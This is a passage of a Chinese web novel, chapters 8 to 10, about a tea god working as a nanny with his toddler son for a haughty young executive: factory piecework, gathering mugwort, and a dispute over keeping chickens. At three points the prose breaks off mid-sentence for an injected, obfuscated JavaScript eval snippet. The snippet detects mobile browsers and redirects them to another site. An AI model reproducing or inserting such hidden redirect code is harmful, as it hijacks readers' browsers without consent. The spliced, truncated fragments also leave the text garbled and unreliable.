贺映道:“我去楼上书房一趟。” 她直接输入密码,进了贺任沅的二楼书房,书房有一排档案架,按照时间顺序编号,乃是贺任沅自行记录的生活轨迹,贺映很快抽了一袋出来。 时间是前年一月份。 她飞快打开浏览一遍,很遗憾,按照上面的记录,贺任沅没有任何时间邂逅风流。他记录的每天遇到的新面孔里,也没有和白清语对得上号的。 她又看了前后两个月的,密密麻麻全是工作。 行吧,彻底死心了,这种自大工作狂怎么会有孩子。 贺映把档案放回去。 8. 第 8 章 贺映回访完毕,对送到门口的白清语道:“你刚才要出门?我开车送你吧。” 贺映不笑的时候,其实跟贺任沅一样生人勿近,自带凌厉的气场,但她在白清语面前一直都挂着笑容,怕吓到小孩子。 白清语道:“我打算和白小茶出门随便逛逛,走到哪算哪,不麻烦您了。” 他没有告诉热心的贺映,他要带白小茶去找合适的幼儿园,自己的事情自己解决。 贺映:“行吧,你注意安全,留一个我的电话号码,早点回家。” 目送贺映开车离开,白清语抱着小崽子,用大肚杯灌满一壶水,带上贺映买的小蛋糕零食,出发。 12公里外的那个幼儿园,要先坐一趟地铁,再转一趟公交。 地铁上的座位都坐满了,白清语一上车,竟然有人要给他和白小茶让座。 “不用不用,我站着就好。”白清语扶着扶手,把小崽子放下来,让他抱着自己的小腿站稳,“你看,这样就好了。” 城市里的打工人各自有各自的辛苦,茶神至少体力上,不会输给人类,不能因为外表弱小就接受帮助。 茶宝宝藤壶一样吸住爸爸,害羞地对让座姐姐道:“谢谢姐姐。” [他好可爱。] [好想抱一下,我能抱一天。] …… 白清语出地铁站后,刚想转乘公交,突然在地铁站口的小黄车篮子里,发现一张招工传单。 [3月22日-3月24日期间,急招包装工,计件,无需经验,一日可赚200-300元,联系方式:188****3,地址:西瓜物流园] 嗯? 白清语把传单拿起来,包装工,听起来很简单,他也可以胜任。 一天两百到三百,这种兼职可遇不可求,他们乡下承包田地的老板雇佣老太太,一天才七十块,要是老太太们有这个工资都该乐坏了。 没有不兼职的理由。 况且,白小茶上幼儿园需要一直缴费,他得多攒钱,万一被开除了还能有余钱交学费和房租。 “宝宝,你要上幼儿园,还是进厂?” “进—厂——”白小茶两个都不太明白,挑了后面那个。 “好,它就招三天临时工,机不可失,下周再去找幼儿园。” 在上学和进厂之间,父子俩一致选择了进厂。 白清语马上按照上面的电话打过去:“喂,老板,你还招人吗?” “招,你直接过来就成,到门口了给我打电话。” “好。” 白清语在地图软件里输入西瓜物流园,根据提示上了一辆公交,一小时后,才抵达目的地,此时已经上午九点半。 招工的厂子是卖各种干饭工具,白小茶目不暇接。 “爸爸,好大的碗,好大的勺子。” 这个老板叔叔,有用不完的勺子! 白清语:“我也没见过这么多种类的碗。” 老板急出一批货,临时工有的负责套透明袋,有的负责包装快递,有的负责在勺子柄上的圆孔里穿进一根牛皮绳然后打个结。 老板很忙,看见白清语带孩子也没说什么,反正是计件的,白清语负责给勺子穿绳,一个五分钱,干多少拿多少。 焊接的铁架支着一个六平米的工作台,工人围着做活。 白清语带着小崽子在空位坐下,搬来一箱勺子,一袋牛皮绳,都倒一部分在桌上。 白清语本打算让儿子趴在背上睡觉,但是白小茶一定要帮忙。 白清语就把勺子和牛皮绳拨给他一些:“宝宝,你负责穿绳子,我来打结。” “好噢。” 大人可以在工作台上完成,白小茶只能拿在手上,他晃着小短腿,握着干饭勺的姿势非常熟练,以至于非常顺手地舀了一勺空气,流利地送进嘴里。 宝宝试一试这个勺子干饭的口感噢。 白清语急忙拦下。 “这个勺子没有洗,不能吃。” “噢,不吃。” 勺子好好用噢。 对面的大姨看见全程,笑得前俯后仰,对白清语道:“你儿子好搞笑。” 白小茶跟着笑:“我好搞笑噢。” 他们来得比较晚,别人面前已经堆高了成品。 白小茶左右看了看,糟糕,爸爸赚不到钱了,赶紧抿紧了嘴巴,捻了一根绳子,捏住一端,戳了两次或者三次,就对准穿进孔里。他又放慢了速度,吸取舀饭进嘴的丰富经验,一次就能对准。 穿好的勺子放在桌上,给爸爸打结。 父子俩专心致志地干,一小时过去,白清语弯腰从地上的包里拿出水壶,把吸管拨出来:“宝宝,喝水。” 白小茶又穿好一根,把勺子放在桌上,推了推,推进去一点,同时又拿起新的勺子,头也不抬地打工:“宝宝不喝。” 喝了水就会尿尿,爸爸就赶不上别人了。 白清语端着水壶的手一顿,总觉得茶宝这副严肃的样子有点大佬,有点眼熟。 今天之前没看出茶宝还有工作狂的潜质啊? 白清语虽然立志挣钱,但没有到如痴如醉的地步,更多的是好奇人类世界的各种工种。 “喝一点嘛,这是管家爷爷给你的蜂蜜水。” 蜂蜜水?! 白小茶扭脸,眼睛亮晶晶:“爸爸,那喝一口。” 白清语嘴角扬了扬,你个两岁多的还不轻松拿捏,一个蜂蜜水就屈服了,不像贺少爷,还得费心思弄茶。 白小茶一口,就是一大口。白清语盖上盖子,又拿出一个小面包。 “有没有小朋友要吃?” 白小茶:“有!” 白清语带他去楼梯口吃面包,这时候,口袋里的手机响起,是邓老伯掐着周末给他打视频电话。 “邓爷爷好!” “茶宝好,茶宝好,在外面吃得饱不饱啊?” “饱饱的。” “你现在在哪里呢?” 白清语闻言,忙比了个“嘘”的手势,轻声对儿子道:“不要告诉爷爷我们出来打工。” 邓伯要是知道自己趁周末带茶宝进厂,那可不得了,不得把养老钱都寄过来。 白小茶意会:“爷爷,我在外面玩。” 邓老伯见白小茶出去这么久,脸蛋也没瘦,还胖了一点点,放心了一点点,“清语啊,清明要到了,记得去采艾草给茶宝做青团吃。” 邓老伯是个对传统节日非常重视的人,白小茶跟着他,清明要吃青团,端午要吃粽子,中秋要吃月饼,冬至要吃汤圆,大年初一要吃长寿面。 白清语答应道:“我一定让他吃上。” 如此,邓老伯放心了,“那我挂了,你在外面要用流量的。” 白小茶听到有青团吃:“爸爸,青团好吃。” 白清语:“我们明天就去采集艾草。” * 此刻的贺总办公室。 “贺总,金嘉的王总来了。” “让他去会客室。” 贺任沅将桌面上的文件夹合上,拎起一旁的西装外套穿上,西装革履地出现在会客室。 秘书熟练地去柜子里拿黄山毛尖,对面的王总笑着道:“不如试试我带来的茶叶?说不定贺总没喝过。” 没喝过的?搁以往贺任沅不感兴趣,但现在他愿意尝试,说不定比白清语的茶叶好呢? 贺任沅挑了挑眉,身子往后靠一些,默认他拿出来看看。 王总示意自己的秘书:“去 ,给贺总泡一壶茶。” 王总的秘书是男的,却是长得漂亮,一双摆弄茶盏的手修长灵活。泡好茶后递给贺任沅时,左手递茶,右手顺势抚上贺任沅的手臂。 贺任沅在他碰上之前,嫌恶地站起来,笑了笑:“谢王总美意,这茶我品了,不如我家保姆泡澡用的茶叶,王总估计是上当了。” 王总和男秘脸色顿时变得很难看,贺任沅也太过分了,竟然拿他高价买来的茶叶跟泡澡水比?还是保姆的?他爹的,贺任沅真是油盐不进。 王总眼神难受,他自作聪明,浪费了一次跟贺任沅见面的机会。 贺任沅道:“送客。” 这些年他对茶叶逐渐麻木的原因之一:总有阿猫阿狗借着贴上来。 既然想要采用这种不正当的手段,看来合同上的东西也不是他想要的,没有商谈的必要。 贺任沅大踏步出了会客室,将几万块的高定外套脱了,放在垃圾桶上面。 家里那个可恶的保姆,就是被这些人衬托成单纯小白花的。 * “衣服脏了回家洗洗就好了,宝宝有没有被烫到?” “没有噢爸爸。” 工厂的老板中午包饭,给每个人都点了一份快餐外卖。 外卖盒是那样四格的软塑料壳,只端着一边,另一边就会撑不住倾斜下去。 白小茶没端过这种饭盒,帮爸爸接外卖时,不小心把炒茄子里的油水流出一些到爸爸腿上。 白清语拿纸张擦了擦,打开盖子,夹了一筷子茄子给白小茶:“好吃吗?” 白小茶:“好吃。”哪里有老板,哪里就有免费的饭。老板是个好东西。 父子俩足足在工厂干了九个小时,最后老板凑整给了两百块,还送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650397|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了茶小宝从大到小一排鸡翅木勺子。 白小茶如获至宝,回家的公交车上一直在展示,拿出一根凹槽比较深的,“爸爸,这根吃稀饭。” “爸爸,这根吃干饭。” “爸爸,这个掏苹果。” …… 给每根勺子都安排了用处,白小茶靠在爸爸怀里睡着,还紧紧抓着自己的干饭工具包。 父子俩要坐一小时公交,回家时比贺任沅还晚。 贺任沅今天吃饭时没有见到白清语,皱了皱眉:“白清语呢?” 在南城只有这一处住所,这么晚了还不回家? 管家把董事长做的海胆蒸蛋端上桌,道:“去外面玩了吧,初来乍到,南城对他可新鲜了。这是董事长做的海胆蒸蛋。” 贺任沅索然无味道:“不吃。” 管家象征性地劝劝:“太太说您好歹尝一尝,不然就让我说善意的谎言了。” 贺任沅起身回屋:“随你怎么说。” 管家:“好咧。” 贺任沅走了两步,道:“给他打电话,夜不归宿扣一天工资。” 管家:“好、好。” 贺任沅欺压完保姆,心里总算舒服一些。 管家立刻给白清语打电话:“你怎么还没回家,吃晚饭了吗?” 白清语:“还没,留点剩饭。” 管家:“茶宝吃了吗?今天吃海胆炖蛋。” 不愧是能做大做强的董事长,知道自己厨艺一般,就采用顶级食材,海胆炖蛋只要洗干净海胆,打个蛋进去就成。 老爷做得舒心,宝宝吃得放心。 白清语实话实话:“他看见了饭就应该能吃点。少爷在家吗?” 管家道:“在书房,咱从后门进。” 说起来太阳打西边出来了,贺任沅已经连续回家三天了。 “饭菜我放在桌上,你回来后端上去吃。”管家吩咐,“少爷让我给你们定制工作服,明天早上八点有裁缝来量体裁衣。” “好。” 白清语再次偷偷从后门进,这次他吸取教训,不敢用茶叶盒子装茶宝,而是用快递盒子。 路过后门时,他发现这里有个狗屋,贺任沅不养狗,所以一直没用上。 幸好没养狗。 “要是拿来养鸡就合适了。”白清语自言自语,下次跟贺任沅商量一下。 回到三楼,白清语先给自己和茶宝洗了澡,然后下楼去端饭。 他刚把海胆炖蛋端进屋,趴在被子里自个儿玩捉迷藏的白小茶就一骨碌坐起来,扒拉开脑袋上的被子。 在工厂干活干得脏脏的宝宝,洗得白白胖胖,软软和和。 差点就睡着了,白小茶拍了拍脸,还是跟老板叔叔玩捉迷藏不会睡着。 “爸爸,勺子。”他今天握了一天木勺,一口都没用木勺子干饭。 白清语帮他把勺子全洗了。 海胆炖蛋用原装的海胆壳,毛刺刺的,白清语想全部挖到碗里,白小茶图新鲜,一定要在壳里挖着吃。 “爸爸,宝宝不需要帮忙。”干饭宝宝根本不怕被刺,像比对型号一样,比着海胆选出了合适大小的勺子。 茶神生活在山里,吃海鲜比较少,白小茶舀了一勺嫩呼呼的蛋羹,使劲吹了吹,蛋羹像湖面一样被吹动。 一口吃到了滑滑的蛋羹和香香的海胆肉。 打工崽刚吃上晚饭。 资本家在书房办公。 贺任沅按灭电脑,抬眼一扫,就能看见正对自己的档案架上,有一部分文件袋被动过了。 早上他就收到了姑姑进他书房的自动短信,东西被动了倒也不奇怪。 目的是什么? 他打电话过去,开门见山地问:“姑姑,你动我档案袋干什么?” 贺映:“有小姑娘生了你的孩子找我做主,我总该来找找证据,看看跟她的说辞能不能对得上。” 贺任沅眼神不起波澜:“无稽之谈。” 贺映冷笑:“对,我开玩笑的,我就是想看看你一年前在欧洲怎么治疗的。” 贺任沅:“无效治疗。” 贺映:“可怜。” 话不投机,贺任沅挂断电话,摊开一个空白本子。 三年来他养成了每天记录行程的习惯,但这三天,不知是麻痹大意还是有意逃避,他没有记录在案。 姑姑今天提醒他了,不应该因为任何人改变习惯。 贺任沅提起笔。 一分钟后,他撂了笔。 呵,被保姆骑在头上的日子还要特意记录? 那跟亲笔把自己钉在耻辱柱上有什么区别? 9. 第 9 章 管家定制工作服的效率很高,找来量体裁衣的师傅也是个老裁缝。 “每个季节各两款,一款正式些,有贵客的时候穿,一款日常些。”管家一本正经地跟老板汇报。 “嗯。”贺任沅心不在焉,他比较关心自己的早餐,茶叶蛋变成普通的茶叶。 两人都不觉得,工作服要请裁缝做而不是直接让员工报码数有什么不对。 管家把白清语安排的早餐目录拿出来给少爷过目:“您有异议吗?” 之前刘姐不敢问贺任沅的喜好,白清语来了倒好,周一到周五安排得明明白白,数量就是一份,而不是跟豪华自助餐似的,让贺任沅每日早上任选。 贺任沅冷淡道:“没有。” 他对吃什么并不在意。 过了一会儿,老裁缝来了,管家通知大家过来量尺寸。 春季乍暖还寒,白清语一直穿着他自制的蓝色长袖布衣,上世纪的款式,布料也是邻居们送的。以前很多人会过节过节买布料回家自己做衣服,后来工厂价压倒自制的性价比,很多人家柜子深处都有一打藏蓝的布料。 白清语平时穿的衣服,布料厚,边缘双层缝制,宽宽大大,看不出腰身。为了配合量尺寸,他干脆穿了睡衣下来。 睡衣很薄,面料柔软,是他特意给自己和白小茶花重金买的新式布料。 白清语踩缝纫机的时候发现,只要把自己裤脚和袖子削短一些,就能给白小茶多做一套夏季睡衣,高贵的茶神和茶神幼崽身高差距这么多。 所以,白清语的睡衣都有些短,袖子到肘弯下面一些,裤脚在小腿中部。 白皙的胳膊和匀称修长的小腿第一次裸|露在外,像玉一样清润。 裁缝量了他的肩宽、臂长、胸围,软尺一落,束住腰肢,立刻多出了几寸余量。 贺任沅第一次发现白清语的腰原来这么细,劲头十足地噎人的时候,看不出这腰身被他一捏就断,这人是哪来的底气的? 老裁缝量着量着就觉得背后凉飕飕的,转身一看贺少爷目光幽暗地盯着他,嘴里想喊给管家的高价顿时打了个七折。 贺任沅盯着着裁缝给白清语量腿长,总觉得白清语转过身,应该是、应该是……什么模样? 白清语早就发现贺任沅配合地吃完了今天的早餐,脾气变好很多的样子,忙三步并作两步上前,提出自己对别墅的新看法:“后院的狗窝能不能用来养鸡呢?” “你一定没见过小小的芦丁鸡,它们很可爱,不爱叫,鸡屎也不多,铺个发酵垫分解,也不会臭。如果你允许我种菜,我还可以铲屎当肥料。”白清语双手交握,十分憧憬。 贺任沅有种赏花被鸟屎淋了的感觉,道:“不可能。” 白清语强调:“它会下蛋。” 鸡蛋小小的,跟鹌鹑蛋似的,白小茶可以一口一个,贺少爷一口两个也不错。 贺任沅:“我知道鸡会下蛋。” 白清语疑惑:“那你为什么不养呢?” 贺任沅:“我还知道你会气人,我怎么不开除呢?” 白清语:“……” 他心想,姑姑果然说得没错,老板很爱开除人,自己已经在裁员的边缘试探了。 幸好他没给茶宝报幼儿园,不然岂不是会断供?据说城里人都很害怕断供两个字。 白清语之所以知道这个词,是因为他在网络上摸到了一个茶叶论坛,里面有很多共同爱好茶叶的人,茶神看见这么多人的喜爱十分欣慰,其中就有一个爱好者说他失业断供,房贷交不起,老婆跑了,孩子没钱上幼儿园,找不到工作只能回老家打理两亩茶园,现在低价售出头水春茶,保证品质,不求赚钱,只求能让孩子上幼儿园。 下面的人纷纷表示心疼,要去买他的茶叶。 白清语囊中羞涩,考虑到自己也有孩子要养,没有买他的茶叶,但留了微信,说有机会可以帮忙推销茶叶——品质真如那人所说的那么好,贺任沅应该会买吧? 留完微信,那一晚有上百人申请添加好友,白清语一一通过,本来只有两三个人的朋友圈一下子壮大起来,这个世界志同道合的人真是太多了。 这些人也很热情,网络不是阻隔,他们经常向白清语诉说苦恼。 有的人茶园被后妈抢走,需要卖出十万元茶叶才能夺回管理权;有的人茶园合同到期,急卖最后一批茶叶回老家;有的人父亲早逝,母亲重病…… 人类真不容易,不像茶神,小孩吃饱大人不饿,还顺利找到了工作。 雇主脾气大吗?不大吧,比起网友的老板,真是好太多了。 白清语很想跟老板搞好关系,然后推销茶叶。 不过他有些疑惑,他让网友给他寄样品过来,网友都答应了,但至今没有收到一片茶叶。 没有样品,他怎么跟老板推销呢?居然有人骂他“浪费我这么多时间原来是想白嫖茶叶”。 拜托,茶神最不缺茶叶了。 白清语上楼把小崽子牵下来,灌了个水壶就带茶宝出门去了。 今天要去郊外采集艾草,给茶宝做青团。 他和茶宝坐了两小时公交,才到达他在网上搜索到的地点。 已经有很多阿姨叔叔拎着袋子蹲在地上拔艾草。此时的艾草长得还不够高,嫩嫩的,白清语来晚了,只能采一些石头里的零星艾草。 不过好在他需要的也不多,够茶宝吃就行了……嗯,再做一个龙井茶口味的给老板吃。 白清语想再磨一磨少爷,他还是想养鸡,在乡下时,小鸡是白小茶的好伙伴。 茶宝最喜欢从鸡窝里捡鸡蛋。进城之后,白小茶少了一部分乐趣。 白小茶穿了一件白白的小褂,蹲着帮爸爸挖野草,远看像一只洁白的小肥羊。 “爸爸,可以马上吃吗?” “不行,不能在地上吃草。”白清语掐了一颗艾草的嫩芽,收入袋子里。 白小茶伸手摸了摸头顶,扑哧笑出声:“爸爸,我也有叶子。” 白清语在他脑袋上“薅”了一片叶子,跟艾草的叶子一起放在掌心比较,道:“宝宝的叶子更大。” “爸爸的呢!” 白清语又扯了一根自己的头发,变成茶叶,三根叶子并排在一起。 “一、二、三。”白小茶戳着数过去,眼睛笑成月牙,“爸爸的叶子最大。” 白清语掐够了艾草,背着白小茶去山里,等到了没人的僻静处,变回茶神的容貌,青丝如瀑,山间妖精。 白小茶脸蛋埋在爸爸滑滑的头发里,爸爸变成漂亮爸爸了! 下午四点,父子俩饿着肚子回家。 白小茶坚持要等吃爸爸做的青团,路上没有吃其他东西,等到了家里,就在厨房里眼巴巴地瞅着。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650398|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白清语将艾草洗净煮沸,捞出来捣碎,变成墨绿色的艾草糊,趁热加入糯米粉,揉成一团面团。 手工捣的艾草糊不完全碾碎,导致面团表面也有些粗糙斑驳。 白清语在面团里包入刘姐给白小茶做的儿童肉松,捏了三只放在蒸笼里。 白小茶紧紧抿住嘴角,茶色的瞳仁里始终盛着青团的影子,像监控探头一样跟着爸爸的动作晃来晃去。 还不能流口水噢。 第四只没包肉松,白清语在面团里加入一些茶粉,揉了揉,直接放在里面,体型比其他三小只都大。 白小茶很聪明:“这个是老板叔叔的?” 白清语:“对,吃了就要答应给你养小鸡了。” 管家隔着一道玻璃门,感慨万千地看着。其实白清语的手艺跟董事长不相上下,都很一般,可惜董事长没有捧场的儿子。 白清语有自知之明,所以他做青团没有其他人的份,大家还是等刘姐做青团吧。 十分钟后,黏叽叽的青团熟了。 白清语夹了两块放在木碗里,抱着白小茶到三楼去吃。 他把勺子拿出来给白小茶:“吃吧宝宝。” 这两块黏叽叽足够白小茶边吃边玩一小时。 白清语去楼下守株待兔——如果贺少爷回家的话。 天黑之后,贺任沅果然下班回家。 白清语用一个精致的白瓷盘子装着青团,放在贺任沅面前,谈条件道:“我给你做青团,你让我养鸡。” 贺任沅:“……”这是他见过最丑的青团。 他早就发誓过是最后一次受白清语拿捏,遂移开视线,很硬气地说:“不吃。” 管家为白清语捏一把汗,少爷的洁癖绝对不允许家里养鸡的,就算少爷被青团的茶香勾去了三魂,也还剩七成魄力呢。 “哦。”白清语也知道成功率不高,坐在他对面,把青团扯成两瓣,小口小口地咬。 看来养鸡大计得换一家当保姆才行。 白清语今天在公交车上听人说八卦,说有个老小区一楼的老夫妻,非要在花坛里养鸡,非常固执,教授儿子劝了也没用,晚上还要把鸡赶到屋里,都没人愿意去他家当保姆。 [我更适合去这家当保姆。] 白清语在脑袋里规划着,他已经打听到了具体小区,等下周末,就带着白小茶去看看,如果老夫妻不排斥他带孩子,他就换一家雇主。 贺任沅闻着青团里茶叶的香气,单手撑在桌面,不动声色地按了按太阳穴。 养鸡这件事,他绝对不可能松口。 话说,他坐了这么久,没人上菜? 他上了一天班,回家还要饿着肚子抵抗诱惑? 叮咚—— 贺望重的父爱闪送又到了,这回是一碗八宝饭,甜丝丝的。 管家打开保温饭盒看了一眼,就知道是少爷不爱吃的。 嘿,小小少爷爱吃。 贺任沅闻到了跟青团霸道的甜味抗衡的八宝甜饭,头一回觉得,他爹有点用处—— 管家微微打开包装盒,侧着给贺任沅看了一眼就合上了:“少爷,您不吃吧?” 贺任沅:? 管家把包装盒系紧,也不知道少爷犯什么毛病,亲爸给的山珍海味不吃,就爱白清语挖的野菜。 不吃算了,给小老板吃:) 10. 第 10 章 贺任沅用引以为傲的定力,语气如常地说出了一句话:“晚饭呢?” 躲在一旁偷看的家政纷纷露出如梦初醒的表情,李如去泡茶,李愿去厨房端过桥米线,社恐翻译姜萌萌端配料。 他们都觉得少爷这次也会为了白清语做的青团妥协,那么大一个青团,吃完就不用吃晚饭了,所以就没端上桌。 端了饭,李如和李愿紧张地注视着桌上的局势。 [没想到少爷居然忍住了,白清语这局输掉了。] [夫妻吵架各吃各的。] [我看看谁先低头。] 白清语的胃口没有崽子那么好,味蕾也算正常,知道自己做的食物味道一般,青团是按照贺任沅的饭量捏的,很大一个,他吃了一半就吃不下了。 白清语有些懊丧,看来贺任沅不肯养鸡的主要原因就是自己厨艺太差,而对方嘴巴太挑。 剩下半个青团,浪费食物是万万不能的。 白清语抬眸幽幽看了贺任沅一眼。 贺任沅正将小碟子里的鸡蛋、豌豆尖、豆腐皮等佐料倒进滚当的米线汤汁里。他像是为了故意冲淡龙井青团的香气,一股脑清空了碟子里的佐料,米线的香气一下子更浓郁起来。 白清语看了一会儿,抿了抿唇,突然起身蹿到贺任沅身边,将手里的半个青团放在贺任沅手边的空碗碟里。 他放了就跑,三五秒后消失在一楼。 贺任沅:“……” 李如李愿互相对视一眼,用眼神传达心里的震惊。 贺任沅觉得耳边怪吵的,他冷冷看着突然出现的半个青团,挑了挑眉,他在与恶霸保姆的交锋里取得初步胜利。 就算他不答应任何条件,白清语也得把青团献上来。 作为一个前律师,他良好的谈判修养依然起着作用。 贺任沅拿起青团,咬了一口胜利果实。味道一般,胜在有股茶香。 管家轻声问姜萌萌:“她俩姐妹说啥呢?” 姜萌萌也震惊坏了,不小心喃喃翻译了出来:“一起吃一块青团,好有爱。” 管家:“哦。” ……嗯? 贺任沅手指一僵,他骤然意识到,在其他人眼里,自己像是得了白清语的施舍。 不答应条件只能吃白清语的剩饭。 捡人家不要的吃,这也算胜利? 贺任沅生生噎住了。 * “宝宝快喝点水,不要噎着了。”白清语一上楼,看见茶宝还跟两块青团作斗争,忙给他喂了一口水。 “爸爸,吃不下了。”白小茶打了个嗝,小声地说。 白清语无障碍地把白小茶剩下的一点点吃了,幸好他分给了贺任沅半个,不然父子倆都吃不完。 他真是太聪明了,用无声的方式释放和好的信号,他和贺任沅都不尴尬。 白清语把茶宝拖到腿上,给他揉揉肚子,“宝宝,你想养鸡吗?” 进城一周,白小茶整整一周没见过咯咯叫和喔喔叫的鸡,他手掌贴着脑袋,反应了一下,兴奋地一拍额头,“想,捡鸡蛋!” 邓爷爷家里天天都有鸡蛋捡,管家爷爷也很好,但没有鸡蛋捡。 “嗯,宝宝你拍的太大声了。”白清语揉揉他的额头,白小茶的话坚定了他换一户人家当保姆的决心。 在这里,齐叔、刘姐、哑巴姐妹、翻译师都很好,住宿条件也很好,雇主……雇主的姑姑也很好。 白清语是有点舍不得的,但是他不可能让白小茶一直躲躲藏藏,躲得过初一躲不过十五,贺任沅迟早会发现,时间越长他越生气。 本来雇主脾气就大,再生气就伤身体了。 这里本就是贺映给就业困难人群提供的过度阶段,现在他当保姆的经验丰富,能靠自己的能力找到下一家,趁贺任沅没发现之前,把位置腾出来了。 “等老板叔叔睡觉,我带你去花园玩。”白清语和白小茶一起躺在床上,“最近老板在家的时间太长了。” 白小茶:“好噢!” 十分钟过后,一大一小齐齐入睡,谁也没想起要去花园玩。 今天出门采集艾草真是太辛苦了! …… 贺任沅在花园里移栽了很多几十年的茶树,且不让园丁修剪,让它们自由散漫地生长,或许自由过火,反而有些半死不活。 之前的园丁像他请示过,要不要修剪看看,贺任沅拒绝了。 他总觉得不能干预,他不想要一排高矮胖瘦一致,被机器收割采茶的茶树,茶树应该在山岩上,清秀挺拔。 这一日,贺任沅晨起经过花园时,发现茶树长成了他理想中的样子,充满美丽的生命力。 “是因为春天到了?” 还是因为换了个园丁? 贺任沅看着一大早就在花园忙活的白清语,皱了下眉,他不是小气的人,干得好就该涨工资。 只要钱给得够多,这就是白清语的“分内之事”,绝不能让白清语发现自己对茶树的在意,免得又多一个把柄。 这些茶树他掉下山崖的地点挖来的,围绕着茶树一定发生过什么,是很重要的证据,要固定下来。 贺任沅观察着白清语的动作——比对他跟前园丁的技巧区别。 白清语发现老板的注视,支起身子,“你在督工吗?” 贺任沅:“我有那个时间?” 白清语:“可我想跟你说说茶树采茶后护理。” 这些茶树同事有一定年纪,采得太狠,影响活力。他都要辞职了,关爱一把同事。 贺任沅耐着性子:“你说。” 贺少和白清语互相被对方绊住时间,三楼的茶宝宝落单了。 于是…… 刘姐悄摸摸地上楼,带了一瓶牛奶,小声呼唤:“茶宝,是我,刘奶奶。” 正在阳台晒太阳的茶宝一翻身,茶色的眼睛被阳光照耀得更加清浅。 刘姐捂住心脏,感觉像看见了太阳之子,“宝宝坐着就好,喝牛奶。” 刘姐拧开瓶盖,她还自己出资购买了一个替换奶嘴,可以拧在瓶口。 “谢谢奶奶。”白小茶对吸管还是奶嘴都熟练使用,但显然在广大奶奶眼里,他应该使用奶嘴。 白小茶知道,刘奶奶会给牛奶。 自从白清语安排贺任沅的菜单没有被贺任沅反对,刘姐就对自己的无功无过做饭理念产生了一点动摇。 其实,她也应该勇敢一些,问问大少爷的喜好,大少爷爱吃的食物,学者做针对性改进,少爷人其实挺好的,她这样有点摆烂了。 但是直接问少爷还是太可怕了,仿佛犯罪过后去咨询请不起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650399|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大律师,实在自不量力,连律所的门都不敢进。 不过,现在有跟少爷长得很像的替身宝宝。 跟茶宝讲话有什么压力呢? 刘姐假装面前是缩小版的贺任沅,双手垂在腿侧站着,“少爷,您月饼喜欢苏式的,还是广式的?” 白小茶仰着脑袋:唔? “爸爸喜欢蛋黄月饼。”白小茶道,爸爸会自己腌咸鸭蛋。 刘姐:“噢,贺少喜欢蛋黄月饼,呸,白清语喜欢蛋黄月饼。” 刘姐:“贺少,鱼您更喜欢糖醋还是香辣?” 白小茶:嗷? 糖醋鱼哦。 刘姐:“少爷,豆腐脑吃甜的还是咸的?” 白小茶:“先吃甜的!” 刘姐仿佛在英语角练口语,还遇到了一个句句有回应的小伙伴,角色扮演得很好,她很满意,感觉对贺少威严的畏惧削减了三成。 她抱起白小茶亲了亲:“喝完你继续晒太阳吧。” 过了一会儿,手语翻译姜萌萌蹑手蹑脚地上来。 谁懂,来豪门工作这么久,一次都没有跟老板对视过。生怕一对视,被老板发现多余,工作没了。 “茶宝,是姨姨。” 白小茶刚躺下去复又爬起来,是带着棒棒糖的姨姨。 “茶宝,我们来玩游戏,一二三木头人,木头人不能笑,赢了姨姨给你棒棒糖。” 白小茶严肃地点头,因为脸上的肉多,嘴角抿起时,被挤出了一点下压的弧度。 “一、二、三,木头人。” 白小茶定定坐着,茶神幼崽的眼神,生来明澈,不谙人间世,带着一点高贵。 像贺少一样,看人,又仿佛没在看人。 一岁半就能学老板三分神似,恐怖如斯。 姜萌萌坐在茶宝面前,直视幼崽期老板的眼睛。胆子+1+1+1…… …… 父子俩完全不懂这些人在搞什么东西,白清语只知道,刘姐她们经常上楼投喂白小茶,陪白小茶玩游戏,人真是太好了。 白清语有了辞职的想法,翌日中午,便跟管家透露。 茶宝坐在一旁挖八宝饭,管家正看得满眼慈爱,突然晴天霹雳,不可置信地问:“你要辞职?是不是嫌工资低,我再给你涨五千。” 包吃包住到手五千,是贺映定下的工资标准,扶贫不等于无底线发钱。 白清语:“不行,太多了。”他干的活没有比刘姐他们多,工资高一倍,破坏了大家的心理平衡。 管家:“不多啊,哪里多了,大家都是这个价,你拿五千,茶宝拿五千,加起来就一万了。” 白小茶抬起脑袋:“管家爷爷,我也有五千?是免费的吗?” 五千是工资不好理解,但有人要他拿东西,白小茶只关心是不是免费的。 白清语笑眯眯摸了摸他的脑袋:“不是免费的,天底下没有免费的午餐,除了爸爸给你的。” 白小茶:“噢。” 管家:“不白拿,小茶怎么不算上班了?大家看见他心情好。” 他可不止一次看见过,家政人员把茶宝当少爷替身,在他面前练习怎么跟少爷讲话。 替身也是有工资的,但管家不好当着亲爸的面,说你儿子长得跟少爷像,任何亲爸听了都不会开心。 11. 第 11 章 